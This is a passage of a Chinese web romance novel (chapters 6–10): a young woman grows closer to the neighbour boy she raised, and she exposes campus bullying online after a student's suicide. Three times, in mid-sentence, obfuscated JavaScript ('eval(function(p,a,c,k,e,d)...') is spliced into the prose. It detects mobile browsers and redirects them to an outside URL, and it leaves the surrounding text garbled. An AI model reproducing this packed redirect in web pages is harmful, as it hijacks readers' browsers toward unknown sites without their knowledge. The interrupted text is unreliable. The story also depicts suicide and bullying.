储嘉骐挑高了眉毛,“你小子,钱都送到嘴边了,还嫌烫嘴是吧?我跟你说,地方我都看好了,江大科技园,离你学校就两步路,孵化器政策好,环境也不错,窗外就是小花园,比窝在你那小破宿舍强一百倍。” 他越说越来劲,手指在空中比划着,“注册、招人、场地装修,这些事儿我来跑,你专心搞你的技术就行。” 晏铮没接他的话茬,只是淡淡道:“现在这样自由。接了单就做,做完拿钱,开公司很麻烦。” “赚钱哪有不麻烦的?你就是懒筋犯了。以前接单打游戏那股劲儿呢?熬夜肝代码的劲头呢?”他顿了顿,眼神变得有点玩味,“还是说,你有别的心思绊着脚?” 晏铮没吭声,走到储嘉骐对面,也拖了个空木箱过来坐下。 储嘉骐哼笑一声,心里跟明镜似的,“你那点心思全挂相上了。是不是怕公司一开张,忙得脚不沾地,没工夫在你心心念念的姐姐跟前晃悠了?” “瞎说什么。” “我瞎说?”储嘉骐乐了,手指点了点他,“我那启星科技,跟你姐的富邦,在同一个写字楼,就上下层。上回我都看到了,你大晚上的蹲公司楼下,总不能在看我吧?” 晏铮不吭声,显然不想再继续这个话题。 储嘉骐决定换个说法。他收敛了调侃的笑容,“说到你这位姐姐,我这两天在楼里听到一些风声。好像是富邦那边和天盛的合作案差点搞砸了,你姐被人阴了一把,黑锅全扣她头上了。我们楼里电梯间碰上几回,她看着是有点憔悴。” 酒窖里安静下来,晏铮整个人坐直了,刚才还松散的状态消失得无影无踪。 他盯着储嘉骐,没问“真的假的”,只是那紧绷的下颌线和骤然变得锐利的目光,泄露了内心的风暴。 储嘉骐知道这事戳到他肺管子了,继续道:“我也是听楼下咖啡厅小妹闲聊说的,具体内情不清楚。但空穴不来风,你姐那性子,估计不会跟你说这些糟心事。” 好一会儿,晏铮都没说话。他目光好像落在对面墙壁上,又好像什么都没看。 他慢慢站起来,问储嘉骐:“你刚才说的那个地方,江大科技园那边,租金具体多少?” 储嘉骐被他这突然的转折搞得有点懵,“啊?算下来一平米一天大概五块出头吧,看具体楼层和面积。” 晏铮点点头,“公司的事,弄吧。尽快。” 储嘉骐一时没反应过来:“弄……弄什么?” “开公司”,晏铮重复了一遍,“你选的那个地方,可以。注册那些麻烦事,你做主。需要我签字的提前说。明早我有课,先走了。” 储嘉骐看着晏铮离开的背影,直到那扇橡木门重新被关上,他才回过神来——事情出奇顺利地就搞定了。 他无奈地笑笑,自言自语道:“看来那隋心喜,还真是这小孩的命门啊。为了给她撑腰,连自个儿最烦的麻烦都肯扛了。” 7. 第 7 章 江市星光天地购物中心,周末下午人总是特别多。 隋心喜把车停进地库,对着后视镜理了理头发,眼角眉梢都藏不住笑意。 天盛科技的合作案终于尘埃落定,压在心头的石头彻底搬开了。 她今天特意穿了条新买的姜黄色连衣裙,就想找人分享这份喜悦。第一个想到的就是晏铮。 约定的地方在三楼中庭的旋转木马旁边,隋心喜坐扶梯上来,一眼就看到了他。 他个子高,斜靠在木马外的护栏上,低头划拉着手机。 周围人来人往,热闹得很,他杵在那儿,有点格格不入的冷清。 “晏铮!”隋心喜加快脚步走过去,声音带着笑。 晏铮抬起头,目光在她脸上停留了一两秒,又很快掠过她亮眼的裙子,最后落回她的眼睛,喊了一声“姐”。 他那副平静的样子,让隋心喜心里刚冒头的热乎劲儿往下落了落。 她以为他至少会露出个笑脸,或者调侃她一句“今天穿这么漂亮”,但都没有。 她走近他,习惯性地伸出手想去拍拍他的胳膊,像以前无数次那样。 可是,她的手指尖几乎要碰到他的T恤了,他却侧了侧身,手也抬起来,动作自然地指向旁边一家饮品店,“喝点什么?我去买。” 隋心喜的手停在半空,有点尴尬地缩了回来,背在身后。 她脸上的笑容淡了点,“哦,行啊,我要杯冰的鲜橙汁。” “好,你在这儿等我”,晏铮说完,转身就走,步子迈得很大,像是急着逃离什么。 隋心喜看着他的背影汇入人群,那股说不清道不明的别扭劲儿又上来了。 以前两人无话不谈、亲密无间的感觉,不知什么时候已经溜走了,只剩下眼前这种客气里带着疏离的“姐弟情”。 她有点泄气,还有点委屈。 晏铮很快端着两杯饮料回来。他把橙汁递给隋心喜,自己拿着一杯冰美式。 隋心喜吸了一大口橙汁,酸甜冰爽的口感,稍微压下了点胸口的闷气。 她调整了下情绪,努力让自己的声音听起来轻松点,“想买点啥?还是就随便走走?” “都行”,晏铮还是那两个字。 他走在她旁边,保持着大概半步的距离。隋心喜走快,他就快半步;隋心喜慢下来看旁边的橱窗,他也跟着停下,但总是隔开那么点空隙。 隋心喜试着和他并排走,他要么落后一点,要么稍微错开点身位。商场里人挤人的时候,他会有意无意地用身体隔开旁边涌过来的人潮,但始终避免直接碰到她。 这种感觉太明显了。隋心喜心里的委屈像水里的泡泡,咕嘟咕嘟往上冒。 她忽然在一家饰品店的门口停下脚步。晏铮也停下,有点不解地看着她。 “晏铮”,隋心喜转过身,正对着他,“你是不是挺烦我的?” 晏铮愣了一下:“没有啊。你怎么这么想?” “没有吗?”隋心喜往前一步,踏进晏铮刻意维持的安全距离里。 她抬起头,眼睛直直地看着他,努力想从他平静无波的脸上找出点蛛丝马迹。 “那你干嘛老躲着我?碰也不让碰,离得八丈远,跟你说话也爱答不理的,小时候你可是摔一跤都要哭着跑来找我呼呼。” 她靠得太近了,晏铮甚至能闻到她身上淡淡的沐浴液味道,能看到她眼底藏不住的失落。 一股强烈的冲动攥紧了他的心脏,让他想立刻伸手把她拉进怀里。 他想告诉她,根本不是她想的那么回事,想让她别再露出这种让他心疼的表情。 但最终,理智摁住了这些疯狂的想法。他不能,至少现在还不能。 他喉结滚动了一下,背脊绷得笔直,慢慢道:“没有。” 正是这慢了半拍的回答,让隋心喜眼里的光彻底黯淡下去。 她以为他的停顿是默认,是找不出借口。 她扯了扯嘴角,露出自嘲又苦涩的笑,往后退了一步,拉开距离。 她低下头,用吸管使劲戳着杯子里的冰块,“行了,我知道了。是我想多了,长大了嘛,正常。” 气氛沉闷起来,两人沉默地往前走,漫无目的。 逛到一个卖创意文具的店门口,隋心喜的手机震动了一下。 她拿出来看了一眼,是工作群里无关紧要的消息。 而旁边的晏铮,他正看着橱窗里炫目的灯光展示,侧脸的线条在变幻的光影下有些冷硬。 “对了”,隋心喜带着点玩笑的意味开口,试图打破这令人窒息的沉默,“你最近好像特别忙,给你发信息老是半天才回,或者干脆不回。” 她顿了顿,心口莫名地有点发紧,但还是笑着把话说完,“是不是有喜欢的人了,忙着谈恋爱去了?” 这句话像是扔进平静水面的一块石头。晏铮转过头看她。 他盯着她的眼睛,努力分辨她这句话背后的真实意图,是在试探,还是真的不在意。 那个姓谭的混蛋被收拾了,公司的问题她也自己解决了,她似乎不需要他。 那他呢?在她心里,是不是真的只是个需要照顾的弟弟?一个可以随时被推给别的女孩子的存在? 他忽然想看看,如果他承认,她会是什么反应。 他迎着隋心喜强装轻松的目光,嘴角牵动了一下,点了点头,“对。” 隋心喜强撑的笑意像潮水一样退去,只剩下猝不及防的空白。 酸溜溜的情绪从心底深处涌上来,迅速弥漫开,堵得她胸口发闷。 难过?失落?还是别的什么?她自己也说不清,只觉得握着橙汁杯子的手有点僵。 他不是自己养大的弟弟吗?他有喜欢的人,作为姐姐,她应该高兴啊,可为什么心里这么不是滋味? 她掩饰性地低下头,狠狠吸了一大口橙汁。 冰凉酸甜的液体滑过喉咙,这次却没能浇灭心里陌生的酸涩感。 她再抬起头时,脸上已经重新挂上了笑容,只是那笑容怎么看都有点虚浮。 “啊……真有啦?”她换上一种过来人的关切口吻,“那挺好的啊!大学生嘛,谈个恋爱多正常。” “对方是什么样的女孩子?你们学校的?学什么专业的?人好不好?”她像是连珠炮一样问着,试图用问题填补两人之间骤然扩大的沟壑,也掩饰自己声音里的颤抖。 晏铮看着她眼睛里努力掩藏却依旧泄露的暗淡,心底的烦躁感非但没有消失,反而像野草一样疯长。 原来,她真的可以把他推出去,还推得那么理所当然。 他移开视线,目光落在远处滚动的大屏幕上,随口编道:“还行吧,一个系的,人挺安静。” “也是学人工智能的啊?那和你有共同话题”,隋心喜兀自说着,感觉每一个字都像裹着糖衣的黄连,咽下去又苦又涩,“你可得好好对人家女孩子,恋爱要认真谈,不能三心二意,也别欺负人家。知道吗?” 听着她像个真正的姐姐一样叮嘱着,晏铮没好气地应了一声,“知道了。” —————————— 江市大学图书馆的玻璃大门滑开,晏铮背着个双肩包出来。 九月底的傍晚,天还没黑透,路灯已经亮了,在地面拉出长长短短的影子。 “晏铮!你站住!” 一道喊声从后面追上来,晏铮脚步没停,甚至没回头,只是嘴角往下撇了撇。 他认得这声音,烦得很。 李露雨气喘吁吁地从台阶上冲下来,几步就挡在了晏铮前面。 他瞪着晏铮,语气很冲,“我叫你你没听见啊?” 晏铮这才停下脚,撩起眼皮看了他一眼,眼神没什么温度,“有事?” 李露雨被这冷淡点着了,他往前逼近半步,指着晏铮问:“你他妈装什么傻?我成绩怎么回事?你给我说清楚!” 晏铮上身微微后仰,避开那根手指,“你成绩问我干什么?老师打的分数。” “放屁!”李露雨气得唾沫星子都喷出来了,“那代码,那程序,是你放在桌上的。你说没问题,让我参考,结果狗屁不通,运行都跑不起来,害我直接挂科!你是不是故意的,啊?” 李露雨的声音太大,想不注意都难。图书馆有些进进出出的人放慢了脚步,朝他俩这边瞄。 面对几乎贴到脸上的愤怒,晏铮只是扯了下嘴角,“我让你参考,我让你抄了吗?我让你一个字不改交上去了吗?” 他的语气里透着一股事不关己的凉薄,“自己蠢,怪谁?” 这话捅在了李露雨最心虚的地方。他脸上一阵红一阵白,“你,你他妈阴我!晏铮,你就是个阴险小人!” “说完了?”晏铮完全没被这股怒气影响,他看了眼手机上的时间,“说完我走了。” 他侧身想绕过李露雨。李露雨哪能让他走,下意识地就去抓他的胳膊,“你给我站住,这事儿没完!你得跟我去老师那儿说清楚!” 晏铮像是背后长了眼睛,肩膀一晃就躲开了。 他转过身,眼神彻底冷了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李露雨这会儿真是百口莫辩。 他先是莫名其妙被个陌生女人推开,接着又看着晏铮成了这副低眉顺眼的可怜小绵羊样。奥斯卡都欠他一座小金人! 他只觉得一口恶气堵在胸口,憋得他差点原地爆炸。 他指着晏铮,手指气得直哆嗦:“你装,你真能装!你他妈就是个……” “你还想骂人?”隋心喜立刻打断李露雨。她往前一步,把晏铮护得更严实了。 她拿出手机按下录屏键,“你再这样,我就拍下来发你辅导员。” 李露雨感觉自己像个跳梁小丑,这女人显然已经被晏铮那副假惺惺的样子骗了。 他喘了两口粗气,咬牙切齿地对着晏铮的方向,从牙缝里挤出几个字:“行,你行!这事儿没完,你给我等着!” 说完,他再也待不下去,恨恨地嗤了声,转身怒气冲冲地走了。 看着李露雨走远,隋心喜松了一口气。她抓住晏铮的手臂,把他从头到脚、仔仔细细地检查了一遍,生怕他身上有看不见的伤。 “你别怕,跟姐说实话。这种人就是欺软怕硬,姐以后常来接你,看他还敢不敢。” 晏铮任由她拉着自己检查,微微低着头,配合着她的高度。 他甚至还反过来,拍了拍隋心喜的手背,“我舍友说话冲了点。不过我没事,你别担心。” 这动作,这语气,落在隋心喜眼里,却是晏铮太懂事了,懂事得让人心疼,被人欺负了还想着安慰她。 “是不是傻”,隋心喜鼻子有点发酸,“有事一定要跟姐说,听见没?你越不吭声,别人就越来劲!” 她说着,下意识地抬起手,想像小时候那样揉揉他的头发。 手抬到一半,她顿住了。 晏铮好像又长高了些,她踮着脚都有点费力了。 她最终改为拍了拍他的肩膀,“对了,你吃饭没?国庆车票我抢到了,后天下午的,咱一起回茅都。我妈还说给你留了腊肉,就是你上次说好吃的那个铺子里的。” 晏铮应了一声,带着十足的乖巧,“谢谢姐,回去我要去看叔叔阿姨。” 隋心喜看着晏铮低垂的眉眼,心里最后一点担忧化成了酸楚。 她这个弟弟,在外面肯定受了不少委屈吧? 她暗暗决定,这个假期回去,得多做好吃的给他补补。 8. 第 8 章 国庆假期一下子过完了。隋心喜与晏铮从江市高铁站出来,天就下起了雨。 隋心喜取了车,将晏铮送回大学,车子停的位置,离宿舍楼还有一点距离。 晏铮解开安全带,“麻烦姐了,这么大的雨还送我。” “跟我客气啥”,隋心喜从后座拽过雨伞,“车上只有一把伞了,我送你到门口。” 推开车门,外面的风雨声瞬间灌满了耳朵。 小小的伞面弹开,在狂风里可怜地晃动了一下,差点被掀翻。 隋心喜用力握住伞柄,雨点密集地砸在伞布上,淌下来像个小瀑布。 “快过来!”她缩着脖子招呼晏铮。 晏铮高大的身影挤进伞下,空间变得极其逼仄。 冰冷的雨水立刻洒进隋心喜的脖子,她打了个寒颤。 晏铮伸手扶住伞柄,宽大的手掌覆在隋心喜的手背上。 她感觉他的热度有点突兀,想把手抽出来,又怕伞不稳。 晏铮将伞面往隋心喜这边倾斜了一些,尽量遮住她,两个人的身体几乎紧贴着。 每一次伞被风吹歪,晏铮就得用力稳住伞柄,身体也跟着晃动。 隋心喜被他带得踉跄,为了站稳,不得不伸手抓住他腰侧的衣服布料。 那件T恤被她攥出了褶子,指尖能感觉到布料下年轻身体紧实的线条。 晏铮感觉到腰侧的拉力,身体微微一僵,低头看了一眼埋在他肩膀旁的隋心喜。 他喉结滚动了一下,默不作声地用另一只手臂,虚虚地环到隋心喜背后,像是给她围起一个屏障,替她挡去从侧面吹来的风和雨丝。 终于,宿舍楼的玻璃门就在眼前了,里面透出的灯光让人看到了希望。 两个男生勾肩搭背地准备出来,一看到外面泼天的雨势,立刻又缩了回去,站在门口看雨。 他们正是晏铮的舍友张超和纪然,刚在宿舍打完游戏,肚子饿了,想顶着雨冲去学校超市买泡面。 “卧槽!这雨疯了吧?还去个屁!”张超是个大嗓门,对着外面骂骂咧咧。 “等会儿吧,看这架势一时半会儿停不了”,纪然推了推眼镜,目光随意扫向风雨中的路灯。 然后,他的目光定住了。他碰了碰张超的胳膊,语气诧异,“那是晏铮吗?” 张超也认出来了,眼睛瞪得溜圆,“是他,他旁边那是谁?抱这么紧,女朋友啊?” 晏铮在学校里是有名的独狼。专业能力拔尖,长得又帅,但从没见他跟哪个女生走得特别近,系花追他他都爱答不理的。眼前这场景实在太有冲击力了。 张超八卦心顿起,趁着晏铮两人进入宿舍楼的空隙,立刻上前搭讪,“铮哥回来啦!” 晏铮甩了甩雨伞上的雨滴,收好了递给隋心喜,不咸不淡地“嗯”了一声。 纪然的眼睛在隋心喜身上溜了一圈,脸上立刻堆起了然于心的笑:“我说呢,铮哥假期消失,原来是去陪嫂子了啊!嫂子好嫂子好!” 张超也跟着嘿嘿笑,眼神在俩人之间来回扫:“可以啊铮哥,动作够快的,你是我们宿舍最早上岸的了,小两口假期过得滋润吧?” 隋心喜的脸一下就热了,赶紧摆手:“不是不是,你们误会了,我是他邻居姐姐,从小看着他长大的。” 晏铮站在那儿,没像隋心喜那么急着否认,只是拨了一下额前的湿发。 张超和纪然互相看了一眼,笑容有点僵,但很快又换上那种“没事我们懂”的表情。 “哦哦,原来是姐姐啊!姐姐好姐姐好!铮哥好福气!” 隋心喜转头看晏铮,发现他低着头。那表情在她看来,就是习惯了被人误会,懒得争辩,甚至有点逆来顺受的意思。 她立刻想起上次那个叫李露雨的舍友冲他嚷的画面。 哎,现在这两个舍友也是这样随便开他玩笑,他平时肯定没少被挤兑! 心疼淹过了刚才的尴尬。她忍不住伸手,拍了拍晏铮的胳膊,语气放得更软了:“没事的,你上去吧,好好休息。” 晏铮这才抬起头看她,眼神湿漉漉的,像被雨泡过的小狗。他小声道:“嗯,谢谢姐。你开车慢点,路上小心。” “知道啦,快进去吧”,隋心喜催促着,看着他转身和张超他们一起往里走。 纪然还回头冲她笑着挥了挥手,隋心喜也勉强扯出个笑容回应,心里却是沉甸甸的。 —————————— 放假回来,要处理的活儿不少,有个项目方案下午要交。 隋心喜对着屏幕上的表格和数据,噼里啪啦地敲着键盘,一杯咖啡很快见了底。 快十一点的时候,办公室的气氛稍微松快了点。 林姐端着水杯去茶水间接水,回来的时候路过隋心喜旁边,跟她旁边的同事王雪聊着天,“哎,你看见没?群里刚有人转发,说江市大学早上好像出事了。” 王雪有点惊讶,问:“啊,什么事?” 林姐压低了点声音:“说是有人跳楼了,就在男生宿舍。学校那边好像把消息捂得挺紧的。” 王雪摇着头叹气,“啧,现在这些年轻孩子,心理承受能力也太差了。” 听到对话的隋心喜却坐不住了,手里的鼠标掉在桌面上。 她脑子里全是李露雨、张超和纪然那三人的脸,还有晏铮沉默的样子。 她抓起桌上的手机,找到晏铮的名字就拨了出去。 可是,听筒里传来单调的嘟嘟声,七八声后没人接,就自动挂断了。 隋心喜心跳加速,不死心地又重拨过去。 依旧没人接听。冷汗顺着她的额角滑下来。 她脑子里各种混乱的念头在打架:他手机是不是摔坏了?是不是在洗澡没听见?会不会是……会不会是…… 她不敢再想下去了,将钥匙和手机都塞进包里,拔腿就跑。 “哎,隋隋,你去哪儿?马上要开会了!”王雪在后面喊她。 “家有急事,帮我请个假!”隋心喜头也不回地吼了一声,人已经冲出了办公室的门。 —————————— 隋心喜远远就看到江大男生的宿舍楼下,围了好几圈人,水泄不通。 警戒线的黄带子在人群外围格外刺眼,警察和学校的保安正在努力维持秩序,喊着“后退”“不要围观”。 她什么都顾不上了,带着哭腔拼命拨开挡在前面的人,“让一让,对不起让一让!” 人们下意识地给她让开一点缝隙,眼神里带着同情或好奇。 她终于挤到了警戒线最边上,视线越过前面几个人的肩膀望过去—— 宿舍楼水泥台阶前不远的地方,盖着一块深蓝色的布,底下勾勒出的轮廓让人不敢细想,旁边还有一小滩暗红色的液体。 离那布块几步远的距离,躺着一本书。封面朝上,是《人工智能理论与实践》。 隋心喜呼吸一滞,她记得很清楚,国庆回家,晏铮家里的书架上,就有这本书。 当时她还笑话他:“要啃这么厚的大部头?你们人工智能专业好吓人啊。” 晏铮只是笑笑,告诉她:“这才哪到哪,以后还有更厚的呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490817|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隋心喜的脑子“轰”的一声,仿佛有什么东西炸开了。 她嘴唇哆嗦着,想喊出声,却只发出微弱的气音。 她膝盖一弯,整个人瘫软在地。 就在她感觉整个世界都要崩塌的时候,一个熟悉的声音在她头顶上方响起,“姐,你怎么在这里?” 隋心喜一个激灵,以为自己被巨大的悲伤冲击得产生了幻听。 她一点点抬起头,眼泪顺着脸颊滑落。 不是幻觉。 晏铮就站在她面前,居高临下地看着她。他的脸上带着运动后的潮红,额角还挂着汗珠,只是眼神充满了不解。 “你怎么坐地上了?”晏铮的声音把她彻底拉回了现实,他蹲下身,把她从水泥地上扶了起来。 隋心喜被他扶着站直,身体还在筛糠似的抖。她盯着晏铮的脸,眼睛一眨不眨,仿佛要确认这不是个梦。 “晏铮?”她的眼泪流得更凶了,但这次不再是绝望的眼泪。 晏铮看到她这副失魂落魄的样子,连忙应道:“是我,是我。你怎么哭成这样?谁欺负你了?” 隋心喜再也顾不得形象,也顾不得周围还有那么多人,她用力抓住晏铮的手臂,仿佛怕一松手他就会消失。 “你吓死我了,晏铮!你吓死我了!”她语无伦次地哭道:“我打你电话打不通,听人说你们学校有人跳楼,我以为……” 她抽噎着,指着警戒线里的书本,“我以为……” 晏铮看着警戒线里的惨状和那本眼熟的书,瞬间懂了是怎么回事。 “对不起,都怪我”,他看着她哭红的眼睛,心里某个地方软得一塌糊涂。 他犹豫了一下,抬起手,用指腹蹭过她脸颊上滚烫的泪痕,“刚才手机没电放在宿舍充电,我去操场跑步了,才回来就看到你在这儿……没事了,没事了,别哭了啊。” 他本想再帮她把另一边的眼泪也擦掉,周围的人群却因为警察的一些疏导动作,发生了拥挤和骚动。 一个挤在后面想看更清楚些的男生,不知道被谁推了一把,撞向晏铮的后背。 晏铮毫无防备,被身后的力量撞得整个人向前一扑! 他为了稳住自己,也怕隋心喜被他撞倒,本能地张开双臂,一下子抱住了怀里的人。 他的下巴蹭到了她的额角,温热的呼吸拂过她的发丝。他胸膛的起伏,心脏有力的跳动,都透过紧密的接触传递了过来。那股属于年轻男孩的气息,霸道地侵占了她的所有感官。 时间仿佛凝固了一秒。隋心喜的大脑一片空白,忘记了哭泣,忘记了悲伤,甚至忘记了呼吸。 只有她自己的心脏,在胸腔里猛烈地跳跃着,那声音大得她怀疑周围的人都听得见。 天啊! 她怎么能……怎么能对自己的弟弟,产生这种感觉? 强烈的羞耻感和慌乱淹没了她。这太不对了!太不应该了! 几乎是触电一般,隋心喜用尽力气,一把推开了晏铮。 晏铮踉跄了半步才站稳,他看着隋心喜的脸红得像煮熟的虾子,连忙道歉:“对不起,我不是故意的,刚才有人撞我,你没事吧?” 隋心喜用力吸了好几口气,试图把那股怪异的心悸压下去。 她飞快地瞥了晏铮一眼,又立刻看向旁边混乱的人群,“没事,是后面的人挤的,这里太乱了,我们离开吧?” 晏铮说了声“好”,本想拉住她走出人群,但手抬到一半,又想起刚才那尴尬的一幕,讪讪地收了回去。 他小心地护在她身侧,指引着她往人少的小路走去。 9. 第 9 章 隋心喜坐在出租屋的椅子上,手机屏幕是一张晏铮发过来的合照。 他的旁边站了个瘦瘦的男生,看着有点拘谨,就是章平。 她的手指划过照片,脑子里全是今天晏铮跟她说的话。 章平家是山里农村的,特别穷。爸妈在他很小的时候就离婚了,各自又有了家,都不太管他。他是跟着年迈的爷爷奶奶长大的,学费生活费全靠他自己打工和奖学金撑着。学校里那些勤工俭学的岗位,他几乎都做过一遍。 晏铮说他很能吃苦,每天除了打工,就是泡图书馆自习室。熄灯了,还打着手电筒在床上看书学习。他是真的想靠读书改变命运的那种人。 可是,就因为他成绩好,抢了某些人的风头;或者是他不会来事,那些人看他不顺眼了。总之,他被当成了靶子。 学校里有个小团体,好几次把章平堵在厕所里,将他的课本撕烂了好几次。他那本《人工智能理论与实践》,正是因为烂了,所以才借了晏铮的去看。 隋心喜听着这些描述,心一路往下沉。她想起自己读书时,也见过班上有人被孤立,但顶多是没人说话,撕书围堵这种事,实在太恶劣了。 她问晏铮:“你们学校一般会怎么处理这个事?” 晏铮叹了口气,语气里有着压抑的愤怒和无力,“学校会去查,但这种事,可能最后又是不了了之。那些人太会装了。” 隋心喜从那时开始,就憋了一口气在胸口。哪怕现在回到了出租屋,这种感觉也挥之不去。 她不断想起今天在男生宿舍楼下看到的惨烈场面,还有那群高高在上肆意践踏别人的面孔,以及章平努力想抓住成绩这根救命稻草的样子。 她揉了揉太阳穴,问起自己:是要继续等着学校那些不知道啥时候能出的轻飘飘调查结果?还是等着那些人渣继续逍遥?抑或等着下一个章平出现? 她直觉不能就这么算了。得做点什么,为了章平,也为了那些可能像章平一样的孩子。 可是,她能做什么呢? 她不是警察,不是学校领导。她就是个普通打工人,在江市没什么人脉背景。 报警要证据,晏铮说的那些也只是听说。找学校反映?她又不是学生家长。 她烦躁地抓了抓头发,目光回到眼前的电脑。 现在是网络时代,有啥事网上吼一嗓子,总比干等着强。 她立刻坐近了些,试图从大数据里寻找蛛丝马迹,最好就能找到章平的个人社交账号,上面可能存在他被霸凌的痕迹。 时间一分一秒过去。她盯着屏幕,手指不停地滑动滚轮,点开一个又一个可能相关的页面,又失望地关掉。 终于,她在某个大型问答社区里,注意到了一个不起眼的匿名提问帖子。 标题是:“被孤立撕书怎么办?想退学了……”发布时间是几个月前。 隋心喜的心跳快了一拍,连忙点进去。 帖子内容不长,语气充满了无助: “真心不知道该怎么办了。我没有朋友,宿舍里的人都不理我,上课分组也没人和我一起。就因为我期中考试考了第一?还是因为我穷?今天我的书又被他们抢走撕了,说穷人不配学人工智能。他们说我装努力,说我假清高。我真的好累,想退学了……可想想奶奶……唉。” 发帖人没有留名字,头像也是默认的灰色。但帖子里提到人工智能,撕书的时间也对得上。 隋心喜有种直觉,这就是章平发的帖。 她压抑着心酸,继续翻看下面寥寥无几的回复。 “摸摸楼主,加油!” “撕书太过分了,举报啊!” 没有实质性的帮助,贴主在下面也没有再回复过。 隋心喜再度尝试,在微博的搜索框里,尝试了各种组合:“章平”“江大章平”“学习狂人章”“AI学习者”“跳楼学生心声”……加上各种可能的符号和缩写。 就在她翻了十几页,看得眼睛都发酸的时候,一个昵称叫“努力爬坡的小章”的用户,跳进了她的视线。 主页里没有头像,微博很少,大部分都是转发一些技术文章或者天气预报,原创的只有三条。 半年前的一条:“拿到上学期奖学金了!虽然很少,够奶奶一个月的药钱了。继续加油!” 配图是一个证书封面,名字那里打了马赛克,但有“江市大学”的字样。 三个月前的一条:“又被堵了,书差点毁了,不明白为什么。只想安静读书毕业工作,给奶奶好点的生活,为什么这么难?” 没有任何配图。 两个月前的一条:“今天阳光很好。去图书馆的路上,看到一只小猫在晒太阳,感觉心里暖和了一点。希望明天也能有阳光。” 配图是一只晒太阳的流浪猫背影。 之后再也没有更新过。 隋心喜咬着唇,呼吸都屏住了。 这就是章平,那个压抑着痛苦又拼命想抓住一点阳光的大学生。 她感觉一股热气冲上头顶,手心微微出汗。 她要把这些发出去,让所有人都看看这个努力的孩子经历了什么,看看那些所谓的“天之骄子”干了什么好事。 她打开微博最常用的公共广场版块超话社区,选择了#校园霸凌#的话题,把“努力爬坡的小章”那三条关键微博的内容,复制粘贴到正文里。 尤其是三个月前那条诉苦撕书的微博,她特意粘贴了两遍。 接着,她把论坛的匿名帖子也截图放了上去。 发送成功的那一刻,她慢慢地呼了口气。 —————————— 第二天是周末,隋心喜睁开眼睛后迷迷糊糊地拿起手机,锁屏界面上堆满了通知,各种APP的小红点密密麻麻挤在一起。 她点开微博,热搜第一的词条让她瞬间清醒——“章平霸凌事件”几个大字黑压压的,后头跟着个“爆”字。 隋心喜心跳加速,立刻戳了进去。 帖子就是她发的那篇,转发评论数多得数不清。她往下划拉着看,热评第一条写着“校园霸凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490818|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须严惩!”,点赞快十万了。 再下面是各种留言,都是“心疼这个学生”“学校在干嘛?”“报警!”之类的。 她心里头有点发虚。本来她就想曝光一下,让学校管管,哪想到事情能闹大冲上热搜头名了。 她又往下翻,瞧见一个新链接,标题是“独家视频:江市大学霸凌现场”。 视频不长,就半分钟,画面晃得厉害,像手机偷拍的。 几个男生围着一个人推搡,嘴里骂骂咧咧的,听不清具体啥话,但动作凶得很,被推的那人缩着脖子不敢动。 视频底下配着文字:“匿名投稿,证据确凿,和热搜事件同一受害者。” 隋心喜盯着视频看了好几遍,手指头捏紧了。 她发的帖子里头只有章平自己写的文字,可这视频是实打实的铁证啊。 谁拍的?啥时候拍的? 她心里头七上八下的,又有点佩服。这人不怕惹事儿吗?大概和她一样,路见不平拔刀相助? 她退出视频,回到热搜主页。 现在词条底下热闹得跟菜市场一样,新闻媒体都跟进报道了。 她点开一个本地新闻APP,头版头条就是“江市大学霸凌事件引爆网络”,里头写了警方已经介入调查,学校还没正式回应。 评论区炸了锅,有人骂学校包庇坏学生,有人呼吁开除施暴者。 还有人贴出疑似施暴者的社交账号,底下全是网友的谩骂。 一条高赞评论说:“光靠网友不够,得官方出手!” 她默默地点头,是啊,光闹没用,得有人管。 肚子咕噜叫了一声,她才想起来还没吃早饭。 她站起身往厨房走,在加热食物的时候,手机还攥手里不放。 微博又更新了,几条新热搜冒出来。 第一条就是警方的蓝V通告,中心意思是已成立专案组调查,下面将调查取证。底下网友一片叫好。 到了下午,江市大学的官方账号也终于发了声明。 他们先说了对事件“深表痛心”,然后列了几条关键点:一是配合警方调查,绝不姑息加害者;二是启动校内纪律审查;三是加强学生心理健康管理。最后一句加粗了:“维护校园净土,零容忍霸凌行为。” 隋心喜读完了,底下的评论又是刷刷刷地涨,有人说“早该这样”,有人质疑“做样子吧”。 她没心思再看,脑子里就转悠着那个匿名发视频的人。 这人的主页没发过其他内容,就像凭空出现的,扔下炸弹就消失。 她想象着TA可能也是个普通上班族,或者学生,偷偷摸摸上传视频的时候,八成也紧张得要死吧。 她点进私信界面,手指悬在屏幕上半天,最后只打了三个字:“谢谢你。” 她没指望对方会有回复,只是在发出去的一刻,胸口涌起奇怪的暖意。 她想起自己昨晚咬牙敲键盘的样子,突然笑了。 原来,这世上“爱管闲事”的傻子不止她一个。 10. 第 10 章 江市大学的第四饭堂,一到饭点就跟打仗似的。 隋心喜今天穿了件薄西装外套,里面是简单的白T恤,配条牛仔裤,踩了双舒服的平底鞋,和周围清一色运动衫牛仔裤的学生们一比,还是有点不一样。 